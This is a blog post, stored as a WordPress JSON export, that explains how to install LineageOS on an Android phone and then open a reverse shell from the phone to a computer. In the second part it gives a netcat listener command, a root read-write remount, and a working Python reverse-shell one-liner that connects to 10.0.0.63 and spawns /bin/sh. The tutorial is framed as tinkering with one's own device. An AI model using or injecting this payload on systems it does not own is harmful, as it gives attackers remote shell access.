{"id":804,"date":"2024-01-09T06:30:36","date_gmt":"2024-01-09T06:30:36","guid":{"rendered":"https:\/\/malwrforensics.com\/en\/?p=804"},"modified":"2024-01-20T04:48:15","modified_gmt":"2024-01-20T04:48:15","slug":"how-to-set-up-a-reverse-shell-on-your-android-device","status":"publish","type":"post","link":"http:\/\/malwrforensics.com\/en\/2024\/01\/09\/how-to-set-up-a-reverse-shell-on-your-android-device\/","title":{"rendered":"How to set up a reverse shell on your Android device"},"content":{"rendered":"\n<p>In this post we&#8217;ll set up a reverse shell on the <a href=\"https:\/\/lineageos.org\/\" data-type=\"URL\" data-id=\"https:\/\/lineageos.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">Lineage OS<\/a> Android distribution, but same can be achieved on other distros as well.<\/p>\n\n\n\n<p>First, let&#8217;s see how to install Lineage OS on your device. Feel free to skip this section if you&#8217;re not interested.<\/p>\n\n\n\n<div class=\"wp-block-stackable-heading stk-block-heading stk-block stk-9cf0410\" data-block-id=\"9cf0410\"><h2 class=\"stk-block-heading__text\">Jailbreak and install Lineage OS<\/h2><\/div>\n\n\n\n<p>Before you start, you may need to jailbreak your device. Once you&#8217;ve done that, follow the steps below to install Lineage OS.<\/p>\n\n\n\n<p>Step 1. Find your device <a href=\"https:\/\/wiki.lineageos.org\/devices\/\" data-type=\"URL\" data-id=\"https:\/\/wiki.lineageos.org\/devices\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>.<\/p>\n\n\n\n<p>Step 2. Download the builds. For example, for a Moto G7, the builds are available <a href=\"https:\/\/download.lineageos.org\/devices\/river\/builds\" data-type=\"URL\" data-id=\"https:\/\/download.lineageos.org\/devices\/river\/builds\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>.<\/p>\n\n\n\n<p>Step 3. Download <em>adb<\/em> and <em>fastboot<\/em> and extract the files somewhere on your system. More info <a rel=\"noreferrer noopener\" href=\"https:\/\/wiki.lineageos.org\/adb_fastboot_guide\" data-type=\"URL\" data-id=\"https:\/\/wiki.lineageos.org\/adb_fastboot_guide\" target=\"_blank\">here<\/a>. For example, for Linux, the zip file is available <a href=\"https:\/\/dl.google.com\/android\/repository\/platform-tools-latest-linux.zip\" data-type=\"URL\" data-id=\"https:\/\/dl.google.com\/android\/repository\/platform-tools-latest-linux.zip\">here<\/a>. Once you have the executables, enable USB debugging on your Android device, connect it to your computer and run adb devices You should see the device on your terminal.<\/p>\n\n\n\n<p>Step 4. Restart the device in fastboot mode by running the command:<em> <\/em><code>adb -d reboot bootloader<\/code><\/p>\n\n\n\n<p>Step 5. Once the phone boots up, run the command <code>fastboot devices<\/code>. You should see the device listed there. If you haven&#8217;t unlocked your device, now it&#8217;s the time to do it. The <a href=\"https:\/\/wiki.lineageos.org\/devices\/river\/install\/#unlocking-the-bootloader\" data-type=\"URL\" data-id=\"https:\/\/wiki.lineageos.org\/devices\/river\/install\/#unlocking-the-bootloader\" target=\"_blank\" rel=\"noreferrer noopener\">Lineage OS website<\/a> will have the link that you need. For example, for Motorola it&#8217;s this <a href=\"http:\/\/motorola-global-portal.custhelp.com\/app\/standalone\/bootloader\/unlock-your-device-a\" data-type=\"URL\" data-id=\"http:\/\/motorola-global-portal.custhelp.com\/app\/standalone\/bootloader\/unlock-your-device-a\" target=\"_blank\" rel=\"noreferrer noopener\">one<\/a>.<\/p>\n\n\n\n<p>Step 6. Now that you&#8217;re in fastboot mode, we can start installing the images you downloaded at Step 2. Make sure they&#8217;re in the same folder as your adb and fastboot executables. Now run the command <code>fastboot flash boot boot.img<\/code>. When it&#8217;s done, reboot your Android system and select the Recovery option.<\/p>\n\n\n\n<p>Step 7. Make sure that your partitions are consistent by following the steps outlined <a href=\"https:\/\/wiki.lineageos.org\/devices\/river\/install\/#ensuring-all-firmware-partitions-are-consistent\" data-type=\"URL\" data-id=\"https:\/\/wiki.lineageos.org\/devices\/river\/install\/#ensuring-all-firmware-partitions-are-consistent\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>. Basically, you download this <a href=\"https:\/\/mirrorbits.lineageos.org\/tools\/copy-partitions-20220613-signed.zip\">zip file<\/a>, select ApplyUpdate -> Apply from ADB on your Android device and then from your terminal run this command <code>adb -d sideload copy-partitions-20220613-signed.zip<\/code><\/p>\n\n\n\n<p>Step 8. Reboot the device, select Recovery mode, then Factory reset -&gt; Format data \/ factory reset. When it&#8217;s done, go back to the main menu, select Apply Update -&gt; Apply from ADB, then run this command on your computer: <code>adb -d sideload lineage-&lt;version&gt;-&lt;build_number&gt;-nightly-&lt;phone_codename&gt;-signed.zip<\/code><\/p>\n\n\n\n<p>You&#8217;re done installing the OS, now let&#8217;s have some fun \ud83d\ude42<\/p>\n\n\n\n<div class=\"wp-block-stackable-heading stk-block-heading stk-block stk-396b793\" data-block-id=\"396b793\"><h2 class=\"stk-block-heading__text\">Start a reverse shell on your Android device<\/h2><\/div>\n\n\n\n<p>You already have a browser, but we need one more thing. (Optional) Visit the <a href=\"https:\/\/f-droid.org\/\" data-type=\"URL\" data-id=\"https:\/\/f-droid.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">F-Droid website<\/a> on your Android device and install the app.<\/p>\n\n\n\n<p>We&#8217;ll need <a href=\"https:\/\/termux.dev\/en\/\" data-type=\"URL\" data-id=\"https:\/\/termux.dev\/en\/\" target=\"_blank\" rel=\"noreferrer noopener\">Termux<\/a>, which is a terminal emulator and a Linux environment app. Open the F-Droid app, search and install the Termux app. You can also install it straight from the Termux website. This will give you access to a lot of Linux executables.<\/p>\n\n\n\n<p>Open the Termux app and run the command <code>pkg install python<\/code><\/p>\n\n\n\n<p>Let&#8217;s start setting up our reverse shell.<\/p>\n\n\n\n<p>Step 1. Connect your phone, enable USB debugging and run adb devices. Once the device shows up there, we&#8217;re ready to start. Set up netcat on your computer (<code>nc -lvp 8448<\/code>). From here on, we&#8217;ll assume your computer&#8217;s IP is 10.0.0.63. Change it to reflect your computer&#8217;s address.<\/p>\n\n\n\n<p>Step 2. If you want to have your filesystem fully writable, run<\/p>\n\n\n\n<p><code>adb root<\/code><\/p>\n\n\n\n<p><code>adb shell mount -o rw,remount \/<\/code><\/p>\n\n\n\n<p>If you don&#8217;t need to, just run <code>adb shell<\/code><\/p>\n\n\n\n<p>Step 3. On the Android device, go to where termux has the python executable installed. Try <code>cd \/data\/data\/com.termux\/files\/usr\/bin<\/code> or run the command <code>find \/ -name termux<\/code> to locate the Termux&#8217;s folder. Now it&#8217;s time to connect set up the reverse shell. For this, run the command:<\/p>\n\n\n\n<p><code>python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.63\",8448));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"\/bin\/sh\")'<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"63\" src=\"https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android2-1024x63.png\" alt=\"\" class=\"wp-image-812\" srcset=\"http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android2-1024x63.png 1024w, http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android2-300x19.png 300w, http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android2-768x48.png 768w, http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android2.png 1291w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>You can find more python payloads <a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md#python\" data-type=\"URL\" data-id=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md#python\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>.<\/p>\n\n\n\n<p>Go back to your terminal and voila. You have the reverse shell \ud83d\ude42<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"792\" height=\"328\" src=\"https:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android.png\" alt=\"\" class=\"wp-image-813\" srcset=\"http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android.png 792w, http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android-300x124.png 300w, http:\/\/malwrforensics.com\/en\/wp-content\/uploads\/2024\/01\/reverse_shell_android-768x318.png 768w\" sizes=\"auto, (max-width: 792px) 100vw, 792px\" \/><\/figure>\n\n\n\n<p>Enjoy!<\/p>\n\n\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post we&#8217;ll set up a reverse shell on the Lineage OS Android distribution, but same can be achieved on other distros as well. First, let&#8217;s see how to install Lineage OS on your device. Feel free to skip this section if you&#8217;re not interested. Jailbreak and install Lineage OS Before you start, you [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[136,1],"tags":[132,135,133,35,111,134],"class_list":["post-804","post","type-post","status-publish","format-standard","hentry","category-android","category-security","tag-android","tag-f-droid","tag-jailbreak","tag-python","tag-reverse-shell","tag-termux"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[]}},"featured_image_urls_v2":{"full":"","thumbnail":"","medium":"","medium_large":"","large":"","1536x1536":"","2048x2048":""},"post_excerpt_stackable_v2":"<p>In this post we&#8217;ll set up a reverse shell on the Lineage OS Android distribution, but same can be achieved on other distros as well. First, let&#8217;s see how to install Lineage OS on your device. Feel free to skip this section if you&#8217;re not interested. Jailbreak and install Lineage OS Before you start, you may need to jailbreak your device. Once you&#8217;ve done that, follow the steps below to install Lineage OS. Step 1. Find your device here. Step 2. Download the builds. For example, for a Moto G7, the builds are available here. Step 3. Download adb and&hellip;<\/p>\n","category_list_v2":"<a href=\"http:\/\/malwrforensics.com\/en\/category\/android\/\" rel=\"category tag\">Android<\/a>, <a href=\"http:\/\/malwrforensics.com\/en\/category\/security\/\" rel=\"category tag\">Security<\/a>","author_info_v2":{"name":"malwrforensics","url":"http:\/\/malwrforensics.com\/en\/author\/u_malwrforensics\/"},"comments_num_v2":"0 comments","_links":{"self":[{"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/804","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/comments?post=804"}],"version-history":[{"count":14,"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/804\/revisions"}],"predecessor-version":[{"id":822,"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/posts\/804\/revisions\/822"}],"wp:attachment":[{"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/media?parent=804"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/categories?post=804"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/malwrforensics.com\/en\/wp-json\/wp\/v2\/tags?post=804"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}